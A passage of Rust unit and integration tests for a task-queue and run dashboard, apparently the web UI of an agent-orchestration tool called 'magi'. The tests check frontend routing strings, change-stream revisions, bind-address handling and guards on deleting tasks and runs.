11015 "abc".to_owned(),
11016 "x".to_owned(),
11017 crate::config::Config::default(),
11018 );
11019 state.status = status;
11020 let v = serde_json::to_value(RunDetailView::of(
11021 state,
11022 crate::run::Liveness::Unknown,
11023 None,
11024 None,
11025 None,
11026 ))
11027 .unwrap();
11028 assert_eq!(v["done"], done, "{status:?}");
11029 }
11030 }
11031
11032 #[test]
11033 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11034 assert!(APP_JS.contains("function landView(run, raw) {"));
11038 assert!(
11039 APP_JS.contains(
11040 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11041 )
11042 );
11043 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11044 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11045 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11046 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11047 }
11048
11049 #[test]
11050 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11051 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11052 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11053 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11054 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11055 }
11056
11057 #[test]
11058 fn review_rounds_label_a_distinct_verified_head() {
11059 assert!(APP_JS.contains("round.verified_head"));
11060 assert!(APP_JS.contains("verified HEAD"));
11061 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11062 }
11063
11064 #[test]
11065 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11066 assert!(APP_JS.contains("blocked: { glyph:"));
11070 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11071
11072 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11076 assert!(
11077 APP_JS.contains(
11078 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11079 ),
11080 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11081 );
11082 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11086
11087 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11091 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11092 assert!(
11093 APP_JS.contains("location.hash = \"#/questions\";"),
11094 "a question node must jump to the Questions screen, not pretend to be a task"
11095 );
11096
11097 assert!(APP_JS.contains("Resolved questions"));
11100 assert!(APP_JS.contains("r.answersList.append("));
11101 assert!(APP_CSS.contains(".task-answers"));
11102 {
11103 let start = APP_JS
11104 .find("function updateTalkTaskRow")
11105 .expect("updateTalkTaskRow");
11106 let body = &APP_JS[start..];
11107 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11108 assert!(
11109 body.contains(
11110 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11111 ),
11112 "a chat-filed task row must link to the task page"
11113 );
11114 assert!(
11115 !body.contains("#/runs/") && !body.contains("#/queue/"),
11116 "the row must not branch to a run or the queue card"
11117 );
11118 assert!(APP_CSS.contains(".talk-task-link"));
11119 }
11120 }
11121
11122 #[test]
11123 fn a_task_notification_links_to_the_task_page() {
11124 let start = APP_JS
11126 .find("function noticeLink(")
11127 .expect("noticeLink exists");
11128 let body = &APP_JS[start..];
11129 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11130 assert!(
11131 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11132 "a task notice's link must target the task page"
11133 );
11134 assert!(
11135 !body.contains("#/queue/"),
11136 "regression: the task link must not go back to the Backlog route"
11137 );
11138 assert!(
11139 APP_JS.contains(
11140 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11141 ),
11142 "`#/tasks/<id>` must parse into the task route"
11143 );
11144
11145 assert!(
11147 APP_JS.contains(
11148 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11149 ),
11150 "`#/queue/<id>` must parse into a route carrying that id"
11151 );
11152
11153 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11157 assert!(APP_JS.contains("function consumeQueueFocus()"));
11158 assert!(APP_JS.contains("jumpToTask(id)"));
11159 }
11160
11161 #[test]
11164 fn chat_rows_put_the_title_alone_on_the_first_line() {
11165 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
11166 assert!(APP_CSS.contains(
11167 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11168 ));
11169 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11170 assert!(APP_JS.contains("class: \"badge talk-unread\""));
11171 }
11172
11173 #[test]
11174 fn run_rows_put_the_title_alone_on_the_first_line() {
11175 assert!(
11176 APP_CSS.contains(
11177 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
11178 )
11179 );
11180 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11181 assert!(APP_JS.contains("class: \"card run-card\""));
11182 assert!(APP_JS.contains("class: \"repo run-id\""));
11183 }
11184
11185 #[test]
11189 fn wide_screens_show_list_and_preview_side_by_side() {
11190 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11192 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11193 assert!(APP_CSS.contains("main[data-split]"));
11194 assert!(APP_CSS.contains("body[data-split]"));
11195
11196 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
11198 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11199 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11200 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11201 assert!(INDEX_HTML.contains("id=\"split-empty\""));
11202
11203 assert!(APP_JS.contains("function markSelected() {"));
11205 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11206 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11207 assert!(
11209 APP_CSS.contains(
11210 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11211 )
11212 );
11213
11214 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11216 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11217 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11218 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11219
11220 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11224 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11225 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11226 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11227
11228 assert!(APP_JS.contains("sandbox: \"\""));
11230 assert!(!APP_JS.contains("sandbox: \"allow"));
11231 }
11232
11233 #[test]
11234 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11235 assert!(
11244 APP_JS.contains(
11245 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
11246 ),
11247 "the search-clearing branch must run before state.queueFocus is cleared, or the \
11248 recursive renderQueue() call has nothing left to jump to"
11249 );
11250 assert!(
11251 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11252 "state.queueFocus must be cleared only once the jump has landed, so a card that \
11253 arrives later still gets it"
11254 );
11255 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11256 assert!(APP_JS.contains("is not in the current Backlog."));
11257 assert!(APP_JS.contains("li.card[data-task-id=\""));
11258 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11259 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11260 assert!(APP_CSS.contains(".card-permalink"));
11261 assert!(APP_CSS.contains(".queue-focus-status"));
11262 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11263 }
11264
11265 #[test]
11266 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11267 assert!(
11275 APP_JS.contains(
11276 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11277 ),
11278 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11279 );
11280 }
11281
11282 #[test]
11283 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11284 assert!(
11285 APP_JS.contains("round.verified_head !== round.head"),
11286 "a round that verified an earlier commit must be visibly distinct from one that \
11287 verified the head reviewers are looking at now"
11288 );
11289 assert!(
11290 APP_JS.contains("round.verified_at"),
11291 "when a check ran must be on the wire, not just which commit"
11292 );
11293 assert!(
11294 APP_JS.contains("resource_blocked"),
11295 "a command magi never got to run (shared build cache contention) must not render \
11296 the same as a command that ran and failed"
11297 );
11298 }
11299
11300 #[test]
11301 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11302 assert!(
11310 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11311 "every KPI tile built through statusTile() must route its click through \
11312 openRunsFiltered, the single place that sets the Runs filter"
11313 );
11314 for (label, status) in [
11315 ("Merged", "merged"),
11316 ("Ready", "ready"),
11317 ("Blocked", "blocked"),
11318 ("Stalled", "stalled"),
11319 ] {
11320 let call = format!("statusTile(\"{label}\", t.{status}, ");
11321 assert!(
11322 APP_JS.contains(&call),
11323 "expected the {label} KPI tile built via {call}..."
11324 );
11325 assert!(
11326 APP_JS.contains(&format!("status === \"{status}\"")),
11327 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11328 compare a run against, not one invented only for the stats tile"
11329 );
11330 }
11331 assert!(
11332 APP_JS.contains("function openRunsFiltered(status)"),
11333 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11334 );
11335 assert!(
11336 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11337 "matchesFilter must gate on the exact status a KPI tile named"
11338 );
11339 assert!(
11347 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
11348 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11349 hashchange event that may never fire"
11350 );
11351 }
11352
11353 #[test]
11354 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11355 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11361 assert!(
11362 APP_JS.contains(
11363 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
11364 ),
11365 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11366 guard for an incompatible tree section"
11367 );
11368 }
11369
11370 #[test]
11371 fn every_stats_queue_tile_names_a_real_queue_section() {
11372 assert!(
11378 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11379 "every queue tile built through sectionTile() must route its click through \
11380 openQueueSectionFocus"
11381 );
11382 for key in ["upnext", "running", "done", "held", "blocked"] {
11383 assert!(
11384 APP_JS.contains(&format!("{{ key: \"{key}\",")),
11385 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11386 );
11387 }
11388 for line in [
11392 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11393 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11394 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11395 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11396 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11397 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11398 ] {
11399 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11400 }
11401 }
11402
11403 #[test]
11404 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11405 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11412 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11413 assert!(APP_JS.contains("function revealQueueSection(details)"));
11414 assert!(
11415 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
11416 "renderQueue() must consume both focus channels on every pass"
11417 );
11418 assert!(
11419 APP_JS.contains(
11420 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
11421 ),
11422 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11423 the recursive renderQueue() call has nothing left to reveal"
11424 );
11425 assert!(
11426 APP_JS.contains(
11427 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
11428 ),
11429 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11430 );
11431 assert!(
11439 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
11440 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11441 hashchange event that may never fire"
11442 );
11443 }
11444
11445 #[tokio::test]
11446 async fn the_change_stream_announces_the_current_revisions_on_connect() {
11447 let f = Fixture::start().await;
11448
11449 let mut socket = tokio::net::TcpStream::connect(f.addr)
11450 .await
11451 .expect("connect");
11452 socket
11453 .write_all(
11454 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11455 )
11456 .await
11457 .expect("write request");
11458
11459 let mut seen = String::new();
11462 let mut buf = [0u8; 1024];
11463 while !seen.contains("event: change") {
11464 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11465 .await
11466 .expect("the stream must speak within five seconds")
11467 .expect("read");
11468 assert!(read > 0, "the server closed the change stream: {seen}");
11469 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11470 }
11471
11472 assert!(
11473 seen.to_lowercase()
11474 .contains("content-type: text/event-stream"),
11475 "the browser only reconnects automatically for a real SSE stream: {seen}"
11476 );
11477 let data = seen
11478 .lines()
11479 .find_map(|l| l.strip_prefix("data:"))
11480 .expect("a data line");
11481 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11482 assert!(
11483 payload["queue_rev"].is_u64()
11484 && payload["runs_rev"].is_u64()
11485 && payload["questions_rev"].is_u64()
11486 && payload["talks_rev"].is_u64()
11487 && payload["notifications_rev"].is_u64()
11488 && payload["loop_rev"].is_u64(),
11489 "the client needs one revision per store to know what to refetch, \
11490 and `talks_rev` is the only notification a standing talk gets - a \
11491 phone whose radio slept through a turn learns about it here, as \
11492 does one whose operator started the loop from another device: \
11493 {payload}"
11494 );
11495
11496 let health = f.get("/api/health").await.json();
11503 for key in [
11504 "queue_rev",
11505 "runs_rev",
11506 "questions_rev",
11507 "talks_rev",
11508 "notifications_rev",
11509 "loop_rev",
11510 ] {
11511 assert!(
11512 health[key].is_u64(),
11513 "health is the change stream's fallback and is missing `{key}`: {health}"
11514 );
11515 }
11516 }
11517
11518 #[tokio::test]
11519 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
11520 let f = Fixture::start().await;
11521 let before = f.get("/api/health").await.json()["talks_rev"]
11522 .as_u64()
11523 .expect("talks_rev");
11524
11525 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
11526 std::thread::sleep(Duration::from_millis(10));
11527 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
11528 on_disk.turns.push(crate::talk::Turn {
11529 who: crate::talk::Who::Operator,
11530 body: "a new turn".to_owned(),
11531 at: Timestamp::now(),
11532 attachments: Vec::new(),
11533 usage: None,
11534 });
11535 f.talks().put(&mut on_disk).expect("record a turn");
11536
11537 let after = f.get("/api/health").await.json()["talks_rev"]
11538 .as_u64()
11539 .expect("talks_rev");
11540 assert_ne!(
11541 before, after,
11542 "a phone must be able to notice a talk's reply without polling every store"
11543 );
11544 }
11545
11546 #[test]
11547 fn bind_reads_back_from_the_spelling_the_cli_prints() {
11548 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
11552 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
11553 }
11554 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
11555 assert!("everywhere".parse::<Bind>().is_err());
11556 }
11557
11558 #[test]
11559 fn an_explicit_bind_address_is_taken_verbatim() {
11560 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
11561
11562 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
11563
11564 assert_eq!(addr, asked);
11565 assert!(
11566 warning.is_none(),
11567 "an operator who named an address gets no lecture"
11568 );
11569 }
11570
11571 #[test]
11572 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
11573 let (addr, warning) = resolve_bind(&Bind::Auto);
11574
11575 match addr {
11582 IpAddr::V4(ip) if is_tailnet(&ip) => {
11583 assert!(warning.is_none(), "a tailnet address needs no warning");
11584 }
11585 other => {
11586 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
11587 let warning = warning.expect("a fallback has to explain itself");
11588 assert!(
11589 warning.contains("127.0.0.1") && warning.contains("local-only"),
11590 "the warning says what happened and what it costs: {warning}"
11591 );
11592 }
11593 }
11594 }
11595
11596 #[test]
11597 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
11598 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
11602 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
11603 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
11604 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
11605 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
11606 }
11607
11608 #[test]
11609 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
11610 let ids = vec![
11611 "20260902-140501-aaaa".to_owned(),
11612 "20260902-140502-aabb".to_owned(),
11613 ];
11614
11615 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
11616 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
11617 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
11618
11619 assert_eq!(missing.status, StatusCode::NOT_FOUND);
11620 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
11621 assert_eq!(short, "20260902-140502-aabb");
11622 }
11623 #[tokio::test]
11624 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
11625 let fx = Fixture::start().await;
11631 let id = panel(
11632 &fx,
11633 "<img src=\"shot.png\">",
11634 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
11635 );
11636
11637 let doc = fx
11639 .get(&format!("/api/questions/{id}/panel/index.html"))
11640 .await;
11641 assert_eq!(doc.status, 200, "{}", doc.body);
11642 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
11643
11644 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
11645 assert_eq!(sibling.status, 200, "{}", sibling.body);
11646 assert_eq!(sibling.header("content-type"), Some("image/png"));
11647 assert_eq!(
11648 sibling.header("content-security-policy"),
11649 Some(PANEL_CSP),
11650 "the sibling route must carry the same policy as the asset route"
11651 );
11652
11653 assert_eq!(
11656 fx.head(&format!("/api/questions/{id}/panel")).await.status,
11657 200
11658 );
11659 }
11660
11661 #[test]
11662 fn runs_revision_moves_when_deleting_an_older_run() {
11663 let temp = TempDir::new().expect("tempdir");
11664 let runs = temp.path().join("runs");
11665 std::fs::create_dir_all(&runs).expect("create runs dir");
11666
11667 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
11668
11669 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
11670 std::thread::sleep(Duration::from_millis(10));
11671 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
11672
11673 let rev_before = runs_revision(&runs);
11674 assert!(rev_before > 0);
11675
11676 let old_dir = runs.join("20260901-100000-old1");
11677 std::fs::remove_dir_all(&old_dir).expect("remove old run");
11678
11679 let rev_after = runs_revision(&runs);
11680 assert_ne!(
11681 rev_before, rev_after,
11682 "deleting an older run must change the revision so other clients see the deletion"
11683 );
11684 }
11685
11686 fn write_state(runs: &FsPath, state: &RunState) {
11691 let dir = runs.join(&state.id);
11692 std::fs::create_dir_all(&dir).expect("run dir");
11693 std::fs::write(
11694 dir.join("run.json"),
11695 serde_json::to_string_pretty(state).expect("serialize run"),
11696 )
11697 .expect("write run.json");
11698 }
11699
11700 #[test]
11705 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
11706 let temp = TempDir::new().expect("tempdir");
11707 let runs = temp.path().join("runs");
11708 std::fs::create_dir_all(&runs).expect("create runs dir");
11709 let mut state = RunState::new(
11710 PathBuf::from("/repo/magi"),
11711 "main".to_owned(),
11712 "0123456789abcdef".to_owned(),
11713 "task".to_owned(),
11714 Config::default(),
11715 );
11716 state.id = "20260902-100000-c0de".to_owned();
11717 write_state(&runs, &state);
11718
11719 let rev_idle = runs_revision(&runs);
11720 std::thread::sleep(Duration::from_millis(10));
11721 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
11722 write_state(&runs, &state);
11723 let rev_started = runs_revision(&runs);
11724 assert_ne!(
11725 rev_idle, rev_started,
11726 "a seat starting must move the revision"
11727 );
11728
11729 std::thread::sleep(Duration::from_millis(10));
11730 state.seat_finished("judge-1");
11731 write_state(&runs, &state);
11732 let rev_finished = runs_revision(&runs);
11733 assert_ne!(
11734 rev_started, rev_finished,
11735 "and clearing it again must move the revision a second time"
11736 );
11737 }
11738
11739 #[tokio::test]
11740 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
11741 let fx = Fixture::start().await;
11746 let q = fx.queue();
11747
11748 let mut t = Task::new(
11749 "Task".to_owned(),
11750 "Instruction".to_owned(),
11751 PathBuf::from("/repo"),
11752 Source::Human,
11753 );
11754 t.block(
11755 vec!["20260101-000000-dead".to_owned()],
11756 Some("waiting on Task 1".to_owned()),
11757 );
11758 t.answers.push(crate::queue::AnsweredQuestion {
11759 question: "Which backend?".to_owned(),
11760 answer: "SQLite".to_owned(),
11761 });
11762 q.put(&mut t).expect("put t");
11763
11764 let res = fx.get("/api/queue").await;
11765 assert_eq!(res.status, 200);
11766 let list = res.json();
11767 let view = list
11768 .as_array()
11769 .expect("array")
11770 .iter()
11771 .find(|v| v["id"] == t.id)
11772 .expect("task in list");
11773 assert_eq!(view["status_str"], "blocked");
11774 assert_eq!(
11775 view["blocked_by"],
11776 serde_json::json!(["20260101-000000-dead"])
11777 );
11778 assert_eq!(view["block_reason"], "waiting on Task 1");
11779 assert_eq!(view["answers"][0]["question"], "Which backend?");
11780 assert_eq!(view["answers"][0]["answer"], "SQLite");
11781
11782 let res = fx
11786 .post(&format!("/api/queue/{}/hold", t.short()), None)
11787 .await;
11788 assert_eq!(res.status, 200);
11789 let held = res.json();
11790 assert_eq!(held["status_str"], "held");
11791 assert_eq!(held["blocked_by"], serde_json::json!([]));
11792 assert!(held["block_reason"].is_null());
11793 assert_eq!(held["answers"][0]["answer"], "SQLite");
11794 }
11795
11796 #[tokio::test]
11797 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
11798 let fx = Fixture::start().await;
11799 let q = fx.queue();
11800 let mk = |title: &str| {
11801 Task::new(
11802 title.to_owned(),
11803 "Instruction".to_owned(),
11804 PathBuf::from("/repo"),
11805 Source::Human,
11806 )
11807 };
11808 let mut root = mk("root");
11809 root.hold_manual(Some("waiting".to_owned()));
11810 q.put(&mut root).unwrap();
11811 let mut mid = mk("mid");
11812 mid.block(vec![root.id.clone()], None);
11813 q.put(&mut mid).unwrap();
11814 let mut leaf = mk("leaf");
11815 leaf.block(vec![mid.id.clone()], None);
11816 q.put(&mut leaf).unwrap();
11817
11818 let list = fx.get("/api/queue").await.json();
11819 let find = |id: &str| {
11820 list.as_array()
11821 .unwrap()
11822 .iter()
11823 .find(|v| v["id"] == id)
11824 .unwrap()
11825 .clone()
11826 };
11827 let leaf_view = find(&leaf.id);
11828 assert_eq!(
11829 leaf_view["waits_on"],
11830 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
11831 );
11832 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
11833 assert_eq!(
11834 find(&mid.id)["waits_on"],
11835 serde_json::json!([format!("{} (held)", root.short())])
11836 );
11837 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
11838 }
11839
11840 #[tokio::test]
11841 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
11842 let fx = Fixture::start().await;
11843 let q = fx.queue();
11844
11845 let mut t1 = Task::new(
11847 "Task 1".to_owned(),
11848 "Instruction 1".to_owned(),
11849 PathBuf::from("/repo"),
11850 Source::Human,
11851 );
11852 let run_id = "20260901-000000-r111";
11853 t1.runs.push(run_id.to_owned());
11854 write_run(&fx.runs(), run_id, RunStatus::Merged);
11855 q.put(&mut t1).expect("put t1");
11856
11857 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
11859 assert_eq!(res.status, 204);
11860 assert!(res.body.is_empty(), "204 No Content has no body");
11861 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
11862 assert!(
11863 fx.runs().join(run_id).exists(),
11864 "run directory must not be deleted when its task is deleted"
11865 );
11866
11867 let mut t2 = Task::new(
11869 "Task 2".to_owned(),
11870 "Instruction 2".to_owned(),
11871 PathBuf::from("/repo"),
11872 Source::Human,
11873 );
11874 t2.status = TaskStatus::Running;
11875 q.put(&mut t2).expect("put t2");
11876 let mut beat = crate::daemon::Status::new();
11877 beat.current = vec![crate::daemon::Current {
11878 task: t2.id.clone(),
11879 run: "20260901-000000-r222".to_owned(),
11880 }];
11881 beat.updated_at = jiff::Timestamp::now();
11882 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11883 .expect("publish a heartbeat");
11884 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
11885 assert_eq!(res.status, 409);
11886 assert!(
11887 res.json()["error"]
11888 .as_str()
11889 .unwrap()
11890 .contains("live daemon")
11891 );
11892 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
11893
11894 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
11900 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11901 .expect("leave a stale heartbeat");
11902 let mut t3 = Task::new(
11903 "Task 3".to_owned(),
11904 "Instruction 3".to_owned(),
11905 PathBuf::from("/repo"),
11906 Source::Human,
11907 );
11908 t3.status = TaskStatus::Running;
11909 q.put(&mut t3).expect("put t3");
11910 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
11911 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
11912 assert_eq!(res.status, 204);
11913 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
11914 assert!(
11915 q.claim(&t3.id).is_ok(),
11916 "the stale lock went with it, so the id is claimable again"
11917 );
11918
11919 let res = fx.delete("/api/queue/nonexistent").await;
11921 assert_eq!(res.status, 404);
11922 }
11923
11924 #[tokio::test]
11925 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
11926 let fx = Fixture::start().await;
11927 let runs = fx.runs();
11928
11929 let run_id = "20260901-000000-fold";
11931 let mut state = RunState::new(
11932 PathBuf::from("/repo"),
11933 "main".to_owned(),
11934 "abc".to_owned(),
11935 "instruction".to_owned(),
11936 Config::default(),
11937 );
11938 state.id = run_id.to_owned();
11939 state.status = RunStatus::Merged;
11940 state.candidates.push(crate::run::Candidate {
11941 index: 0,
11942 label: 'A',
11943 agent: "a".to_owned(),
11944 branch: "b".to_owned(),
11945 worktree: PathBuf::from("/w"),
11946 summary: String::new(),
11947 stat: String::new(),
11948 files: 1,
11949 commits: 1,
11950 empty: false,
11951 failed: None,
11952 verified_noop: None,
11953 duration_ms: 0,
11954 folded: true,
11955 });
11956 let dir = runs.join(run_id);
11957 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
11958 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
11959 .expect("write artifact");
11960 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
11961 .expect("write run.json");
11962
11963 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
11965 assert_eq!(res.status, 204);
11966 assert!(res.body.is_empty(), "204 has no body");
11967 assert!(!dir.exists(), "run directory and artifacts must be deleted");
11968
11969 let run_running = "20260901-000000-rung";
11974 write_run(&runs, run_running, RunStatus::Prep);
11975 let mut beat = crate::daemon::Status::new();
11976 beat.current = vec![crate::daemon::Current {
11977 task: "20260901-000000-task".to_owned(),
11978 run: run_running.to_owned(),
11979 }];
11980 beat.updated_at = jiff::Timestamp::now();
11981 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11982 .expect("publish a heartbeat");
11983 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
11984 assert_eq!(res.status, 409);
11985 assert!(
11986 res.json()["error"]
11987 .as_str()
11988 .unwrap()
11989 .contains("live daemon"),
11990 "the refusal must say who is holding it"
11991 );
11992 assert!(
11993 runs.join(run_running).exists(),
11994 "a run in flight keeps its directory"
11995 );
11996
11997 let run_unfolded = "20260901-000000-unfd";
11999 let mut state2 = RunState::new(
12000 PathBuf::from("/repo"),
12001 "main".to_owned(),
12002 "abc".to_owned(),
12003 "instruction".to_owned(),
12004 Config::default(),
12005 );
12006 state2.id = run_unfolded.to_owned();
12007 state2.status = RunStatus::Ready;
